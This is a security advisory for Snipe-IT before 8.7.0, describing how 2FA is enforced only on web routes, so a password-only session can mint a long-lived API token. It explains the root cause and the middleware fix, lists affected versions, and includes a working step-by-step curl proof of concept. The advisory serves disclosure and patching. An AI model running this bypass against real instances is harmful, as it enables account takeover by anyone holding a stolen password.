snipe/snipe-it: Snipe-IT: 2FA bypass via the API token flow
What fixes it
- 8.7.0snipe/snipe-it, composerGitHub
composer require "snipe/snipe-it:^8.7.0" - 8.7.0snipe/snipe-it, PackagistOSV
composer require "snipe/snipe-it:^8.7.0"
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Impact
An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).
The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/two_factor_reset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.
Summary:
2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.
Details:
CheckForTwoFactor is in the web group but not the api group:
// app/Http/Kernel.php 'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ], 'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ], // no CheckForTwoFactor
Two consequences:
/two-factoris exempt from the check, andCreateFreshApiTokenruns right after it in the web group:
// app/Http/Middleware/CheckForTwoFactor.php public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];
So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeit_passport_token cookie.
- The token endpoint is in the
apigroup, which never checks 2FA, gated only byself.api:
// routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check
Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.
Proof of concept:
Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.
HOST=https://snipeit.example.com/ USER=victim PASS='victim-password'
1. log in with the password only. Every web page now redirects to
/two-factor until a code is entered. never enter one.
csrf=$(curl -s -c cookies.txt "$HOST/login" \ | grep -oP 'name="_token" value="\K[^"]+') curl -s -b cookies.txt -c cookies.txt "$HOST/login" \ --data-urlencode "_token=$csrf" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" -o /dev/null
2. GET /two-factor with no code. It is exempt from the 2FA check, so
CreateFreshApiToken issues the snipeit_passport_token cookie.
curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null grep -q snipeit_passport_token cookies.txt && echo "[2] Passport cookie issued, no code"
3. mint a persistent token over the api group (no 2FA check). Passport's
cookie guard wants the session's own XSRF token echoed as a header,
which our session already holds.
xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1) xsrf=$(printf '%b' "${xsrf//%/\\x}") pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \ -X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \ --data-urlencode "name=poc" | jq -r '.payload.token') echo "[3] token: $pat"
4. use the Bearer token against a real endpoint. /users/me returns the
victim's own account, proving the token acts as the victim with 2FA
never completed. (If the victim is an admin, the same token reaches the
whole API, e.g. GET /api/v1/users returns the full user directory.)
curl -s "$HOST/api/v1/users/me" \ -H "Authorization: Bearer $pat" -H "Accept: application/json"
Step 3 returns a token with no code ever submitted, and step 4 returns the victim's own account ({"id":1,"username":"victim","email":...}). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the api group simply never enforces it.
Patches
Fixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, EnforceApiTwoFactorEnrollment, registered on the api middleware group after auth:api. The new middleware answers the question "does this token's owner have a second factor enrolled at all?", which is orthogonal to the session-scoped 2fa_authed flag that CheckForTwoFactor relies on. Behavior:
- Passes through when there's no authenticated user (leaves the standard
auth:api401 in place). - Passes through when
two_factor_enabledis disabled in settings. - Under optional mode (
two_factor_enabled = '1'), only enforces on users who explicitly settwo_factor_optin = '1', matching the web-side behavior and preserving legacy PATs for users who never opted in. - Under required mode (
two_factor_enabled = '2'), enforces regardless of optin. - Blocks with 403 +
Helper::formatStandardApiResponse('error', null, trans('auth/message.two_factor.please_enroll'))when the token owner'stwo_factor_enrolled != '1'.
Regression coverage lives in tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php.
Credit
Reported first by colinthebomb1 and Theebanbabu, followup confirmation report by SRT at submersion [SRT@submersion.ai](mailto:SRT@submersion.ai).
Text from GitHub Advisory Database
Affected versions 53
- snipe/snipe-it, composer< 8.7.0GitHub
- snipe-itaffected: < 8.7.0CVE List
- snipe/snipe-it, Packagistfrom first release, fixed in 8.7.0OSV
- snipe/snipe-it, Packagist3.2.0OSV
- snipe/snipe-it, Packagistv0.1.0OSV
- snipe/snipe-it, Packagistv0.1.1OSV
- snipe/snipe-it, Packagistv0.1.2OSV
- snipe/snipe-it, Packagistv0.2.0OSV
- snipe/snipe-it, Packagistv0.3.0-alphaOSV
- snipe/snipe-it, Packagistv0.3.10-alphaOSV
- snipe/snipe-it, Packagistv0.3.11-alphaOSV
- snipe/snipe-it, Packagistv0.3.7-alphaOSV
- snipe/snipe-it, Packagistv0.3.8-alphaOSV
- snipe/snipe-it, Packagistv0.3.9-alphaOSV
- snipe/snipe-it, Packagistv1.0OSV
- snipe/snipe-it, Packagistv1.1OSV
- snipe/snipe-it, Packagistv1.2.0OSV
- snipe/snipe-it, Packagistv1.2.1OSV
- snipe/snipe-it, Packagistv1.2.10OSV
- snipe/snipe-it, Packagistv1.2.11OSV
- snipe/snipe-it, Packagistv1.2.2OSV
- snipe/snipe-it, Packagistv1.2.3OSV
- snipe/snipe-it, Packagistv1.2.3-betaOSV
- snipe/snipe-it, Packagistv1.2.4OSV
- snipe/snipe-it, Packagistv1.2.4-betaOSV
- snipe/snipe-it, Packagistv1.2.5OSV
- snipe/snipe-it, Packagistv1.2.6OSV
- snipe/snipe-it, Packagistv1.2.6-betaOSV
- snipe/snipe-it, Packagistv1.2.6.1OSV
- snipe/snipe-it, Packagistv1.2.7OSV
- snipe/snipe-it, Packagistv1.2.7-betaOSV
- snipe/snipe-it, Packagistv1.2.8OSV
- snipe/snipe-it, Packagistv1.2.9OSV
- snipe/snipe-it, Packagistv2.0OSV
- snipe/snipe-it, Packagistv2.0-RC-1OSV
- snipe/snipe-it, Packagistv2.0-betaOSV
- snipe/snipe-it, Packagistv2.0.1OSV
- snipe/snipe-it, Packagistv2.0.2OSV
- snipe/snipe-it, Packagistv2.0.3OSV
- snipe/snipe-it, Packagistv2.0.4OSV
- snipe/snipe-it, Packagistv2.0.5OSV
- snipe/snipe-it, Packagistv2.0.6OSV
- snipe/snipe-it, Packagistv2.1.0OSV
- snipe/snipe-it, Packagistv2.1.1OSV
- snipe/snipe-it, Packagistv2.1.2OSV
- snipe/snipe-it, Packagistv3.0OSV
- snipe/snipe-it, Packagistv3.0-alphaOSV
- snipe/snipe-it, Packagistv3.0-alpha2OSV
- snipe/snipe-it, Packagistv3.0-beta.1OSV
- snipe/snipe-it, Packagistv3.0-beta.2OSV
- snipe/snipe-it, Packagistv3.0-beta.3OSV
- snipe/snipe-it, Packagistv3.0.0-betaOSV
- snipe/snipe-it, Packagistv3.1.0OSV
References 6
- github.com/grokability/snipe-it/commit/87c362962a670f427be071850b218e43eff5d08eFixvia CVE List
- github.com/grokability/snipe-it/commit/c4ea7db51ca80bf11b1d04fbe46e4a64f54dc780Fixvia CVE List
- github.com/grokability/snipe-it/releases/tag/v8.7.0Fixvia CVE List
- github.com/advisories/GHSA-hxcx-9h4f-42xxAdvisoryvia GitHub
- github.com/grokability/snipe-it/security/advisories/GHSA-hxcx-9h4f-42xxExploitvia CVE List
- github.com/grokability/snipe-it/pull/19294Referencevia CVE List